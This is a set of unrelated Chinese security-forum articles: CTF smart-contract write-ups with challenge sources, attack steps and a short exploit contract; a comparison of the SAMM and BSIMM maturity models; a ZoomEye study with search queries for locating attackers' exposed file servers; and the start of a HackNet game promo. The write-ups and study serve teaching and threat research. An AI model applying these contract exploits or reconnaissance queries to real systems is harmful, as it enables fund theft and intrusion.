那么我们就考虑这个codex[] 他的长度codex.length在storage[5] 他的计算是从
keccak256(5)+var0 var0可控。 如果我们在这里 x=keccak256(5) 那么传入
2^256+6-x 我们就可以任意写storage[6] 也就是owner 。这一段如果不太理解最好是对着反汇编看。因为这里源代码反而没有那么直观。
PS：这里为什么+2^256，因为不能传入负数。
写完storage[6]后，只需要满足猜两次就够了。
他用的是未来随机数，不过他就需要猜对2次，就蒙就可以了。
这里还是不放 exp，建议师傅们自己来尝试一下。并且RCTF的wp中也有完整的exp。大家都可以去学习。
## 华为鸿蒙场区块链
华为鸿蒙场的区块链，比赛在考试，现在来复现下，题目没有给出源码。但是已经找不到复现了。应该是pikachu师傅用他的docker出的。这里我自己部署了下原合约。然后重新逆向一次。
经过逆向以及
### Resource
pragma solidity ^0.4.23;
contract ContractGame {
event SendFlag(address addr);
mapping(address => bool) internal authPlayer;
uint private blocknumber;
uint private gameFunds;
uint private cost;
bool private gameStopped = false;
address public owner;
bytes4 private winningTicket;
uint randomNumber = 0;
mapping(address=>bool) private potentialWinner;
mapping(address=>uint256) private rewards;
mapping(address=>bytes4) private ticketNumbers;
constructor() public payable {
gameFunds = add(gameFunds, msg.value);
cost = div(gameFunds, 10);
owner = msg.sender;
rewards[address(this)] = msg.value;
}
modifier auth() {
require(authPlayer[msg.sender], "you are not authorized!");
_;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function BetGame(bool mark) external payable {
require(msg.value == cost);
require(gameFunds >= div(cost, 2));
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[10] & 1;
if ((coinFlip == 1 && mark) || (coinFlip == 0 && !mark)) {
gameFunds = sub(gameFunds, div(msg.value, 2));
msg.sender.transfer(div(mul(msg.value, 3), 2));
} else {
gameFunds = add(gameFunds, msg.value);
}
if (address(this).balance==0) {
winningTicket = bytes4(0);
blocknumber = block.number + 1;
gameStopped = false;
potentialWinner[msg.sender] = true;
rewards[msg.sender] += msg.value;
ticketNumbers[msg.sender] = bytes4((msg.value - cost)/10**8);
}
}
function closeGame() external auth {
require(!gameStopped);
require(blocknumber != 0);
require(winningTicket == bytes4(0));
require(block.number > blocknumber);
require(msg.sender == owner || rewards[msg.sender] > 0);
winningTicket = bytes4(blockhash(blocknumber));
potentialWinner[msg.sender] = false;
gameStopped = true;
}
function winGame() external auth {
require(gameStopped);
require(potentialWinner[msg.sender]);
if(winningTicket == ticketNumbers[msg.sender]){
emit SendFlag(msg.sender);
}
selfdestruct(msg.sender);
}
function AddAuth(address addr) external {
authPlayer[addr] = true;
}
function() public payable auth{
if(msg.value == 0) {
this.closeGame();
} else {
this.winGame();
}
}
}
题目不难，但是逻辑比较多，比较符合pikachu师傅出题的规律非常有学习代表性。首先是在functon中自写了4种运算规则，类似safemath库。
这里剩下可调用的函数采用了external auth等函数声明方法，经过查询也是public的
是可以被外部调用的。主要是可以大量减少在外部传入大数组时的合约交互的gas。
function() public payable auth{
if(msg.value == 0) {
this.closeGame();
} else {
this.winGame();
}
}
这里是一个fallback是非常有应用价值的。
后面几个函数也都来分析下。
function winGame() external auth {
require(gameStopped);
require(potentialWinner[msg.sender]);
if(winningTicket == ticketNumbers[msg.sender]){
emit SendFlag(msg.sender);
}
selfdestruct(msg.sender);
}
Wingame中，需要game已经停止， 并且需要potentialWinner[msg.sender]为1，并且如果winningticket ==
ticketNumbers[msg.sender]就会触发flag了。
function closeGame() external auth {
require(!gameStopped);
require(blocknumber != 0);
require(winningTicket == bytes4(0));
require(block.number > blocknumber);
require(msg.sender == owner || rewards[msg.sender] > 0);
winningTicket = bytes4(blockhash(blocknumber));
potentialWinner[msg.sender] = false;
gameStopped = true;
}
这里主要进行了closegame
也就是gamestop赋值。这里需要的是game还没stop且blocknumber!=0,并且winningticket=bytes4(0)
且block.number>blocknumber 以及msg.sender已经变成owner,且rewards[msg.sender]
那么这里就会赋值potentialWinner[msg.sender]=false
gamestopped=true。这里成功满足了wingame的第一个但是没有满足第二个。
那么现在接着看构造函数。
constructor() public payable {
gameFunds = add(gameFunds, msg.value);
cost = div(gameFunds, 10);
owner = msg.sender;
rewards[address(this)] = msg.value;
}
创建的时候，直接会让gameFunds=gameFunds+msg.value传入值。
cost= gamefunds/10
owner就变成了msg.sender.
且rewards[address(this)]=msg.value
还有一个Bet函数
function BetGame(bool mark) external payable {
require(msg.value == cost);
require(gameFunds >= div(cost, 2));
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[10] & 1;
if ((coinFlip == 1 && mark) || (coinFlip == 0 && !mark)) {
gameFunds = sub(gameFunds, div(msg.value, 2));
msg.sender.transfer(div(mul(msg.value, 3), 2));
} else {
gameFunds = add(gameFunds, msg.value);
}
if (address(this).balance==0) {
winningTicket = bytes4(0);
blocknumber = block.number + 1;
gameStopped = false;
potentialWinner[msg.sender] = true;
rewards[msg.sender] += msg.value;
ticketNumbers[msg.sender] = bytes4((msg.value - cost)/10**8);
}
}
这里先要求cost 也就是创建时候的msg.value/10 == 当前传入的msg.value
并且gamefunds >= cost/2
然后是经典的随机数预测。 攻击合约一模一样 写就可以得到相同的结果。
然后写了个巨奇怪的if
其实就是coinFlip==mark。猜对了的话 GameFunds+=msg.value/2
msg.sender.transfer(msg.value*1.5)
要不然就GameFunds +=msg.value
这里进行完事之后 如果合约的balance==0了
那么winningTicket=bytes(4) blocknumber+=1
gameStopped=0 potentialWinner[msg.sender]=1
rewards[msg.sender]+=msg.value
TicketNumbers[msg.sender]=bytes4((msg.value-cost)/10^8)
这里的条件直接基本把closegame这里的要求全满足了。
然后我们首先就是要开始进行题目了。 首先我们给两个ether,相当于让他创建一个有2eth 的游戏。 每次他会输出来0.1eth ,我们进行20次就够了。
然后先call AddAuth题目的合约地址，再call Addauth 外部账户地址，再CallAddauth 攻击合约的地址。
PS:这里ADDAUTH相当于给我们调用函数的权限
最后利用题目合约的fallback调用closegame防止他把我们的
potentialWinner 给改了。
那么现在就满足了所有条件
直接winGame就可以了。
贴下pikachu师傅的exp
modifier是为了允许我们的这些地址可以调用这些函数。
所以都要加到Addauth里面。
那么攻击步骤我这里重新列出
1. 首先建立攻击合约，并且打2 ether过去。
2. Addauth 使我们的题目合约，攻击合约，以及我们的外部账户都有权限调用函数。
3. 通过外部合约转账调用delegatecall触发closegame
4. call wingame()
这样就可以成功拿到flag了。
## *CTF2021 Starndbox
六星战队在分站赛出的题，非常不错。
考察的点和2020qwb 的ezsandbox很像。 利用可用字节码清空合约余额即成功。
给出了以下源码
pragma solidity ^0.5.11;
library Math {
function invMod(int256 _x, int256 _pp) internal pure returns (int) {
int u3 = _x;
int v3 = _pp;
int u1 = 1;
int v1 = 0;
int q = 0;
while (v3 > 0){
q = u3/v3;
u1= v1;
v1 = u1 - v1*q;
u3 = v3;
v3 = u3 - v3*q;
}
while (u1<0){
u1 += _pp;
}
return u1;
}
function expMod(int base, int pow,int mod) internal pure returns (int res){
res = 1;
if(mod > 0){
base = base % mod;
for (; pow != 0; pow >>= 1) {
if (pow & 1 == 1) {
res = (base * res) % mod;
}
base = (base * base) % mod;
}
}
return res;
}
function pow_mod(int base, int pow, int mod) internal pure returns (int res) {
if (pow >= 0) {
return expMod(base,pow,mod);
}
else {
int inv = invMod(base,mod);
return expMod(inv,abs(pow),mod);
}
}
function isPrime(int n) internal pure returns (bool) {
if (n == 2 ||n == 3 || n == 5) {
return true;
} else if (n % 2 ==0 && n > 1 ){
return false;
} else {
int d = n - 1;
int s = 0;
while (d & 1 != 1 && d != 0) {
d >>= 1;
++s;
}
int a=2;
int xPre;
int j;
int x = pow_mod(a, d, n);
if (x == 1 || x == (n - 1)) {
return true;
} else {
for (j = 0; j < s; ++j) {
xPre = x;
x = pow_mod(x, 2, n);
if (x == n-1){
return true;
}else if(x == 1){
return false;
}
}
}
return false;
}
}
function gcd(int a, int b) internal pure returns (int) {
int t = 0;
if (a < b) {
t = a;
a = b;
b = t;
}
while (b != 0) {
t = b;
b = a % b;
a = t;
}
return a;
}
function abs(int num) internal pure returns (int) {
if (num >= 0) {
return num;
} else {
return (0 - num);
}
}
}
contract StArNDBOX{
using Math for int;
constructor()public payable{
}
modifier StAr() {
require(msg.sender != tx.origin);
_;
}
function StArNDBoX(address _addr) public payable{
uint256 size;
bytes memory code;
int res;
assembly{
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}
for(uint256 i = 0; i < code.length; i++) {
res = int(uint8(code[i]));
require(res.isPrime() == true);
}
bool success;
bytes memory _;
(success, _) = _addr.delegatecall("");
require(success);
}
}
上面的数学方法以2为基来算素数在0-255区间内，除了0是没有问题的，所以我们想到的就是用0来绕过它对字节码仅能为素数的限制。
给了delegatecall。
合约里面只有100wei，我们可以通过call（0xf1素数)方法来将余额清空。
比赛时候是利用强大的黑暗力量做的。因为题目部署合约100wei在Rinkedby测试链属实很少见，随便翻了翻就可以找到其中队伍做出的合约。
给出赛时exp(题目代码就不贴了)。
contract exp{
constructor()public{}
address ss=0xb3879a53b3964494a149BcC1863dD262C35a64aE;
address target=0x8748ec747eB7af0B7c4e82357AAA9de00d32264a;
StArNDBOX a=StArNDBOX(target);
function step()external{
a.StArNDBoX(ss);
}
}
call的其他是没有问题的，当call一个合约非方法的四字节地址时，那么就会直接给其转账。那么贴图看下字节码的执行。
如此一来就没有质数。部署一个bytecode如上的合约即可成功调用。 | 社区文章 |
# 如何自评企业安全运营
## SAMM
SAMM（Software Assurance Maturity
Model）旨在帮助组织建立、改进和评估其软件安全实践。SAMM提供了一个结构化的方法，将不同的软件安全实践分为几个阶段，并根据每个阶段的成熟度指标来进行评估。
### 关于 SAMM 模型
SAMM 是一个规范性模型，是一个易于使用、完全定义和可测量的开放框架。即使对于非安全人员，解决方案详细信息也很容易遵循。
**它可以帮助组织分析其当前的软件安全实践、 在定义的迭代中构建安全程序、显示安全实践的改进状况、定义和衡量与安全相关的活动** 。
SAMM 的定义具有灵活性，因此使用任何开发风格的商业、中型和大型组织都可以自定 义和采用它。
**它提供了一种了解组织在软件保障建设过程中当前所处位置、及进一步发展进入下一成熟度等级的建议方式** 。
SAMM 并不坚持要求所有组织在每个类别中实现最大成熟度级别。 **每个组织都可以确定每个安全实践的目标成熟度等级，以为每个特定需求最匹配和最适用的模板**
。
### 模型结构
* **在模型的最顶层，SAMM定义了五种关键业务功能。**
每种业务功能是一组软件开发过程中具体细节的相关措施；就是任何组织的软件开发团队要在某种程度上必须运用到的每一个业务功能。
* **对于每类业务功能，SAMM 定义了三个安全实践。**
每个安全实践都是一个为业务功能建立保障而与安全相关的领域。因此，总体来说，有15个独立的安全实践活动映射到五组业务功能，以改善软件开发中相对应的业务功能。
* **对于每种实践活动，SAMM定义了三个成熟度等级以作为目标。**
安全实践中的每个等级是由一个连续、且复杂的目标定义的；且每个等级的成功指标比上一个等级更加苛刻。另外，每类安全实践都能通过相关活动的优化单独改进。
对于每个安全实践，SAMM定义了两个活动流。每个活动流都有一个目标要达到，而且这个目标可以在提高成熟度水平时达到。
**活动流在不同成熟度级别上关联和链接至不同成熟度等级实践中的活动** 。
#### 治理
**治理阶段 - 战略与指标**
战略与指标实践的目标是建立一个有效的计划，以在组织内实现软件安全目标。
（参考活动流A与B，活动流A可以看做活动流B的基层，但在SAMM中活动流A与B都会作为评分标准的依据）
**治理阶段 - 策略与合规**
策略与合规的实践重点是理解和满足外部法律和规范要求，同时推动内部安全标准以确保符合组织业务目的的合规。
**治理阶段 - 教育与指导**
教育与指导的实践重点是为软件生命周期中的相关人员提供知识和资源，以设计、开发和部署安全的软件。通过对信息访问的优化，项目团队可以主动识别和减轻适用于其组织的特定安全风险。
#### 设计
**设计阶段 - 威胁评估**
威胁评估实践的重点是基于正在开发的软件功能和运行时的环境特征，识别和理解项目级风险。通过分析每个项目威胁和潜在攻击的详细信息，对安全措施的优先级设置进行更好的决策，从而使整个组织更有效地运作。
**设计阶段 - 安全需求**
安全需求实践聚焦于对安全软件而言重要的安全需求。第一种类，处理典型的与软件相关需求，以指定目标和期望，从而保护应用软件核心的服务和数据。第二种类，涉及与供应商组织有关的需求，这些需求属于应用软件开发上下文的一部分，尤其是对于外包开发而言。
**设计阶段 - 安全架构**
安全架构实践聚焦于与在软件架构设计期间要处理的组件和技术相关的安全。安全架构设计着眼于有关解决方案构成基础的组件选择和组成，并着重于其安全性。
#### 开发
**开发阶段 - 安全构建**
安全构建实践强调以标准化、可重复的方式构建软件以及使用安全组件（包括第三方 软件依赖项）进行构建的重要性。
**开发阶段 - 安全部署**
交付安全软件的最后阶段之一是确保在部署过程中不损害已开发应用软件的安全性和完整性。
**开发阶段 - 缺陷管理**
缺陷管理实践聚焦于收集、记录和分析软件安全缺陷，并用信息丰富它们，以驱动基于测量的决策。
#### 验证
**验证阶段 - 架构评估**
架构评估实践的可确保应用软件和基础架构充分满足所有相关的安全性和合规要求，并充分缓解已识别的安全威胁。
**验证阶段 - 需求驱动的测试**
需求驱动测试实践的目标是确保已实施的安全控制按预期运行，并满足项目规定的安全需求。它通过逐步构建一组安全测试和回归案例并定期执行来实现
**验证阶段 - 安全测试**
安全测试实践利用了以下事实：尽管自动化安全测试快速且可以很好地扩展到众多应用软件，但是有关应用软件及其业务逻辑深入知识的深度测试通常只能通过较慢的人工专家安全测试来执行。因此，每个活动流的核心都是一种方法。
#### 运营
**运营阶段 - 事件管理**
将安全事件定义为至少一项资产的安全目标受到破坏或迫在眉睫的威胁，无论是由于恶意行为还是过失行为。安全事件的示例可能包括：对云应用软件的成功拒绝服务（DoS）攻击、应用软件用户通过滥用安全漏洞访问另一用户的私有数据、攻击者修改应用软件源代码。事件管理实践聚焦于在组织中处理这些事件。
**运营阶段 - 环境管理**
默认情况下，任何应用软件堆栈中的大多数技术都不安全。这通常是有意的，以增强向后兼容性或易于安装。因此，要确保组织技术堆栈的安全运行，就需要对所有组件始终应用安全基线配置。
**运营阶段 - 运营管理**
运营管理实践聚焦于在整个运营支持功能中确保安全性得到维护的活动。尽管这些功能不是由应用软件直接执行的，但应用软件及其数据的整体安全取决于它们的适当性能。
### 小结
SAMM 是一个规范性模型，是 **一个易于使用、完全定义和可测量的开放框架** 。即使对于非安全人员，解决方案详细信息也很容易遵循。
SAMM为所有类型的组织提供一种有效的、可衡量的方式来分析和改进其软件安全状况。
## BSIMM
**软件安全构建成熟度模型** (BSIMM) 是一项针对当前软件安全方案或计划开展的研究。BSIMM 量化不同行业、规模和地域的众多组织的应用安全
(appsec) 实践，并识别各个组织独特的差异。
作为一套随时间的不断发展演进的数据驱动的描述性模型，BSIMM的唯一目标就是观察和报告。其通过 **对大量企业进行评估得出的统计数据，进行分类归纳**
，形成的软件安全评估模型。
### 用途
**BSIMM的最重要的用途是作为一个标尺来确定企业目前采用的方法相对于其他企业处于何种位置**
。企业只需要梳理已经开展了哪些活动，在软件安全框架中找到这些活动，然后再构建自己的记分卡并将其与BSIMM记分卡进行比较，就可以发现自身的不足之处。
### 模型结构
BSIMM 中被有组织的分为 121 项活动。揽括在 4 大领域 12 项实践中
#### 管理
**战略和指标**
“战略和指标”实践中包括规划和分配角色与职责、确定软件安全目标、确定预算，以及确定评估指标和软件发布条件。
**合规性和政策**
制定企业的软件安全策略;根据该策略开展审核工作。
**培训**
培训在软件安全方面一直发挥着至关重要的作用，因为软件开发人员和架构师在起步时往往没有掌握太多的安全知识。
#### 情报
**攻击模型**
攻击模型采集各种用来像攻击者那样思考问题的信息:威胁建模，滥用案例开发和细化，数据分类，以及与特定技术相关的攻击模式等。
**安全性功能和设计**
“安全功能和设计”实践主要负责开展以下工作:为主要安全控制手段创建可用的安全模式（满足“标准和要求”实践中规定的标准)，为这些控制手段构建中间件框架，以及创建和发布前瞻性安全指南。
**标准与要求**
“标准和要求”实践涉及到如下工作:让企业提出明确的安全要求;决定推荐哪些COTS;制定主要的安全控制标准（例如，认证、输入验证，等等);为使用中的技术制定安全标准;以及成立标准审查委员会。
#### SSDL检查点
**架构分析**
架构分析包括以简明的图表来显示软件架构、应用风险和威胁列表、采用审查流程（例如架构风险分析)，以及为企业制定评估和修复计划。
**代码审查**
"代码审查”实践中包括使用代码审查工具、制定量身打造的规则、针对不同角色使用的工具制作自定义的配置文件、手动分析、跟踪/评估结果。
**安全性测试**
“安全测试”实践涉及到发布之前的测试，其中包括将安全性整合到标准的质量保证（QA）流程中。该实践包括:把黑盒安全工具(包括模糊测试）用作QA
中的冒烟测试，风险驱动的白盒测试，攻击模型的应用，代码覆盖率分析等等。安全测试的重点对象是构建过程中的漏洞。
#### 部署
**渗透测试**
“渗透测试”测试实践涉及标准的“从外至内”(outside
→in）由安全专家开展的一类测试。渗透测试侧重于最终配置中的漏洞，并针对缺陷的管理和缓解提供直接反馈。
**软件环境**
“软件环境”实践涉及到操作系统和平台打补丁(包括云端)、WAF、安装和配置文档、容器化、编排、应用程序监控、变更管理以及代码签名。
**配置管理和安全漏洞管理**
"配置管理和漏洞管理”实践涉及到应用程序打补丁和更新、版本控制、缺陷跟踪和修复、应急事件处理等活动。
### 小结
BSIMM 是一套 **随时间的不断发展演进的数据驱动的模型** 。随着本项目的演进，不断根据所观察到的数据来添加、删除和调整各类活动的级别。
BSIMM主要是 **用于观察企业开发的安全活动与行业进行一个比较** ，给企业开发组织反馈一份的分析报告
## 模型比对
| SAMM | BSIMM
---|---|---
模型结构 | 5个域，3个实践，3个成熟度，2个活动流 | 4个域、12个子域、122项活动
打分机制 | 对每个活动进行单独评价，最后进行汇总打分 | 根据观察活动行为存在性进行的梯度打分制
评分维度 |
每个实践活动在不同维度下的指标执行情况定义为4个梯度，分别是0,0.25,0.5,1。每个实践活动有两个活动流，三个成熟度，单项活动总分为3，单项活动下每个活动流总分为1.5。
| BSIMM的评分指标为观察到企业组织有该实践下的最高级别的活动得分。
发展由来 | 原始模型（v1.0）由Pravir
Chandra编写，经过一段时间的深入讨论，并在欧洲和美国峰会期间听取了从业者和OWASP社区的意见，更新迭代为了V2.0版本。 |
经过多年的评估经验，不断根据观察到的数据进行添加、删除和调整各类活动形成。
模型作用 | 为所有类型的组织提供一种有效的、可衡量的方式来分析和改进其软件安全状况。（改善为主，评估为辅） |
用于观察当前时间节点企业开发组织的安全活动和行业中的比较，给企业开发组织反馈一份高度概括的分析报告。（评估为主，改善需客户自定方案）
### 功能层面
* SAMM为所有类型的组织提供一种有效的、可衡量的方式来分析和改进其软件安全状况。通过自评估模型，来提升企业如何设计、开发和部署安全软件的认识和教育。
* BSIMM主要是作为一个标尺来确定企业目前采用的软件安全能力水平相对于其他企业处于何种位置。
### 内容层面
* BSIMM主要是用于观察企业开发的安全活动与行业进行一个比较，给企业开发组织反馈一份的分析报告。
* SAMM没有对同行业进行一个比较，但为所有类型的组织提供一种有效的、可衡量的方式来分析和改进其软件安全状况。
## 总结
**BSIMM模型是一套观察报告类型的描述式模型**
，旨在判断描述的实践活动存在与否形成评估报告，以标尺的作用来衡量企业开发组织目前安全活动水平相对于其他企业处于何种位置。并没有为组织提供落地性的指导建议，仅作为组织用以改善自身软件安全能力的参考。
**SAMM 是一个规范性模型** 。旨在帮助组织分析其当前的软件安全实践、 在定义的迭代中构建安全程序、显示安全实践的改进状况、定义和衡量与安全相关的活动
无论是BSIMM，SAMM也罢，二者都为评估模型，是用以辅助安全治理的工具，而具体实施流程的关键还是在于人。需要对不同的实际情况而做出不同的改变。
## reference
BSIMM模型：<https://www.synopsys.com/zh-cn/software-integrity/software-security-services/bsimm-maturity-model.html>
SAMM模型：[OWASPSAMM2.0.pdf](http://www.owasp.org.cn/OWASP-CHINA/owasp-project/OWASPSAMM2.0.pdf) | 社区文章 |
**作者：知道创宇404实验室
English version: <https://paper.seebug.org/2054/>**
### 一．摘要
在实现网络攻击的过程中，C2 服务器、loader 服务器甚至黑客的“工作机”都有可能通过开启 Web 服务器进行数据的传输。
根据 ZoomEye 网络空间搜索引擎[1]的历史数据，我们发现 9247 个 Cobalt Strike[2]控制端服务器中，有 6.53%
曾对外提供目录浏览和文件下载服务，涉及恶意样本、利用脚本、扫描结果等多种文件。根据已有数据，我们针对重要网段进行高频测绘，可以发现更多的黑客“工作机”。
在研究过程中，我们还发现存在遍历下载黑客“工作机”所有文件的行为，推断在互联网上已经存在众多“猎人”
通过搜寻黑客“工作机”的方式，窃取其攻击工具和工作结果。
### 二．概述
黑客在控制他人电脑窃取他人文件的同时，也会成为他人攻击的重点对象。例如，黑客下载被他人嵌入恶意木马的扫描工具，运行使用该扫描工具的时候其电脑就会被背后的“猎人”所控制。
本文，我们将从黑客开启的 Web 服务器入手，通过使用 ZoomEye 网络空间搜索引擎，成为黑客背后的“猎人”。
黑客攻击者在进行攻击时，会遇到各类环境，为保证攻击成功，会使用较常用的方式下发恶意样本。例如开启 Web 服务器，然后通过大部分系统自带的
curl、wget 命令实现下载。在黑客进行测试样本和回传数据的时候，也可以通过开启临时 Web 服务器实现数据的传输。
部分编程语言自带了类似的功能，例如 Python 语言。我们可以使用一条命令开启一个 HTTP 服务: `python3 -m
http.server`，然后在浏览器上访问的效果是这样子的:
这种做法虽然方便了数据传输，却给了其他人可趁之机。其他人若找到黑客使用的“工作机”，便可以获取其攻击工具，了解其攻击手法，甚至直接获取其窃取的数据。
### 三．利用 ZoomEye 平台找黑客“工作机”
下面我们来看如何利用 ZoomEye 平台找到这样的黑客“工作机”。
除了网页标题中的特征字符串之外，我们还需要指定黑客“工作机”中经常出现的关键词特征，才可以在 ZoomEye 平台精准的找到黑客“工作机”。
下面是一些搜索语句示例:
“工作机”上经常存放漏洞 EXP 攻击工具
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"exp"
“工作机”上经常存放 log4j 漏洞利用工具
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"log4j"
“工作机”上经常部署 CobaltStrike
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"cobaltstrike"
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"cobalt strike"
“工作机”上经常部署 Metasploit
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"Metasploit"
“工作机”上经常存放包含 CVE 编号的漏洞利用工具
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"cve"
“工作机”上经常存放 payload
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"payload"
“工作机”上经常存放 calc.exe，用于木马捆绑测试
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"calc.exe"
#### 3.1 示例：黑客上传扫描工具进行恶意扫描
IP 地址为 `124.200.*.*`的服务器，在 2023 年 2 月 14 日新增了名为 fscan64.exe 的工具。在随后的第二天（2023 年
2 月 15 日），创宇安全智脑 [3] 便捕获了由该 IP 地址发起的 1255 次攻击请求行为，并将该 IP 地址标记为恶意 IP 地址。
2023年2月14日，服务器上新增了名为 fscan64.exe的工具
2023年2月15日，创宇安全智脑捕获了由该 IP 地址发起的 1255 次 攻击请求行为
#### 3.2 示例：黑客用于投放的恶意文件被标记为恶意
黑客在“工作机”上存储了多个用于投放给受害者点击的诱饵文件。我们随机挑选一个文件“Google3.exe”，该文件出现在“工作机”上的时间为 2023 年
1 月 31 日；然后将其上传到 Virustotal 平台上进行验证，显示在 2023 年 2 月 17 日该文件已经被识别为恶意。
2023年1月31日，服务器上出现了“Google3.exe”文件
我们将“Google3.exe”文件上传至Virustotal平台检测，被识别为恶意
#### 3.3 示例：我们可获取黑客使用的攻击工具
我们在黑客“工作机”上，可以获取黑客所使用的攻击工具， 例如 CVE 漏洞利用工具、网马工具、Payload 代码、诱饵文件等。
①Cobalt Strike 工具
②CVE-2019-7609 Kibana远程代码执行漏洞利用工具
③payload代码
④Apache James Server 2.3.2 远程代码执行漏洞利用工具
⑤多个CVE漏洞利用工具
⑥EXP工具
#### 3.4 示例：我们可获取黑客的工作结果
我们在黑客“工作机”上，可以获取黑客的工作成果，例如网站扫描结果、窃取的受害者 Cookie 数据、窃取的受害者键盘记录数据、窃取的受害者电脑上的文件等。
窃取受害者cookie的数据
①针对gov.pk进行扫描工作结果的存储文件夹
②gov.pk的子域名扩展结果
③针对各子域名，使用FFUF工具进行Web Fuzz的结果
### 四．测绘重点网段
#### 4.1 Cobalt Strike控制端开放Web目录浏览情况
根据ZoomEye网络空间搜索引擎的探测结果，2020年1月1日至2023年2月16日，一共有9247个IP地址被标记为Cobalt
Strike控制端。其中有 604 个 IP 地址曾经出现过对外提供目录浏览和文件下载的服务，占比
6.53%。我们根据探测到的文件名等信息进行判断，绝大多数文件均和黑客攻击相关。这说明互联网上的部分黑客“工作机”给了其他人可趁之机。
#### 4.2 高频测绘重点网段
从已识别为Cobalt Strike控制端的IP地址中，我们挑选了出现Cobalt
Strike控制端最多的30个B段进行小范围测试，针对这30个B段IP地址的 3 个端口（8000、8080、8888）进行了持续 72
个小时的高频测绘，检测其是否对外提供目录浏览和文件下载服务，以及是否为黑客“工作机”。
结果是，在 72 个小时内，30 个 B 段的 196 万 IP 地址中，我们测绘到有 176 个 IP 地址对外提供过目录浏览和文件下载服务， 其中 13
个是黑客“工作机”。 我们进而分析其 HTTP 服务的开放和关闭时间，这 176 个 IP 地址 中，有 70 个为临时开放 HTTP 服务后便关闭的情况。
因此，我们可以推断，与通过网空搜索引擎进行查询相比，针对重要网段进行高频测绘，可以发现更多的黑客“工作机”。
### 五．探寻互联网上已经存在的“猎人”
通过这种方式，作为黑客背后的“猎人”，可以直接获取黑客“工作机”上的攻击工具和工作结果。我们推测互联网上已经存在这样的“猎人”，我们尝试来寻找之。
通过IP 地址 `83.136.*.*`的 8000 端口 HTTP 服务列出的文件，我们可判断其是一台黑客“工作机”。其中文件“nohup.out” 是
HTTP 服务的请求日志记录文件。
nohup.out文件存储了HTTP服务的请求记录
在该文件中，我们发现有一个 IP 地址 `34.140.*.*`的行为很可疑。该 IP 地址在 2023 年 1 月 30
日，遍历并下载了黑客“工作机”所有文件夹下的文件。我们使用创宇安全智脑查询 IP 地址 `34.140.*.*` 的威胁等级，发现该 IP
地址已被标记为恶意 IP 地址，标签为 “2022 二十大重保”、“2022 护网”、“恶意扫描”等，且在 2023 年 1 月 30
日确实发起过恶意扫描攻击行为。
该 IP 地址 `34.140.*.*` 并不是一个搜索引擎蜘蛛IP，因此我们推断它是一个“猎人
IP”。当然，它的目标可能不仅仅是针对黑客“工作机”，也可能针对所有存在目录浏览漏洞的服务器。
①该IP的威胁等级为“中”
②该IP的标签有“2022二十大重保”、“恶意扫描”等。
③该IP在2023年1月30日发起过23次恶意扫描攻击行为
在文件“nohup.out”中，存在 3 个与 `34.140.*.*` 行为一样的 IP 地址，我们推测其均属于“猎人
IP”。通过这一个黑客“工作机”的示例，我们有理由推断，在互联网上存在众多“猎人” 通过搜寻黑客“工作机”的方式，窃取其攻击工具和工作结果。
### 六．结语
黑客攻击者可能是一个人单打独斗，缺点是技术能力和实战经验有限，无法关注到方方面面的细节；也可能是团队合作，人员分工明确，各自负责编写工具、实施攻击、分析结果等，缺点是各自只关注自身负责的工作，未明确到位的工作或风险便无人关注。正是由于这些原因，使得我们通过
ZoomEye 网络空间搜索引擎，可以捕获到这些黑客的“工作机”。
善于攻击的黑客不一定善于防守，也可能以猎物的方式出现在高端的猎人面前。成为攻击事件背后的黑客，还是成为黑客背后的猎人，这是攻防对抗的升级，也是从上帝视角测绘网络空间的魅力所在。
### 七．参考链接
[1] ZoomEye 网络空间搜索引擎
<https://www.zoomeye.org/>
[2] Cobalt Strike
<https://www.cobaltstrike.com/>
[3] 创宇安全智脑
<https://gac.yunaq.com/>
* * * | 社区文章 |
# HackNet黑客网络中文版 - 顶级黑客入侵破解的高智商解谜游戏
##### 译文声明
本文是翻译文章，文章来源：https://www.iplaysoft.com/
原文地址：<https://www.iplaysoft.com/hacknet.html>
译文仅供参考，具体内容表达以及含义原文为准。
《 **HackNet** 》（ **黑客网络** ） 是一款模拟终端命令行的黑客模拟游戏， **游戏自带中文**
，可以让你体验到近乎真实的“顶级程序员”黑客体验，可谓是一款 **高智商解谜游戏** 。
在 **HackNet**
中文版游戏中，你将通过一位最近过世的顶级黑客所遗留的线索，探询到一个充满着各种未知的网络世界，同时解开他的死亡之谜。除了游戏性和解谜性极佳，游戏中也运用了大量真实的黑客知识，如果你愿意，还可以从中学会很多信息安全的技术……
### 真实又易上手的解谜类黑客模拟游戏
为了追求真实感，Hacknet
游戏里几乎完全根据真实可行的代码和黑客知识所构造起来，通过命令行代码去破解防火墙、入侵端口、用肉鸡冲击代理等等这些手段，在现实中很多都是切实可行的，你能从中了解到很多
**黑客攻击** 的手段。
当然为了易上手和游戏性的考虑，很多部分都做了简化处理，所以小白也不必担心游戏太难。当然，游戏中的入侵手法和思路在现实世界中都是有一定根据的，这从一个侧面为游戏增添了一份带入感，特别有过一定了解或希望学习相关知识的朋友。
Hacknet 能够为你提供一个全方位的真实黑客模拟器终端，同时 Hacknet
游戏难度并不算高，而且教程很完善，新手玩家完全可以快速上手，让一个电脑小白也能通过游戏来掌握一些现实世界的电脑命令。
游戏模拟了大量 Unix / Linux 的基础命令，这些命令都是在现实世界中真实存在的，如果你想体借助游戏扩充知识面，那么你完全可以用 VMWare、PD
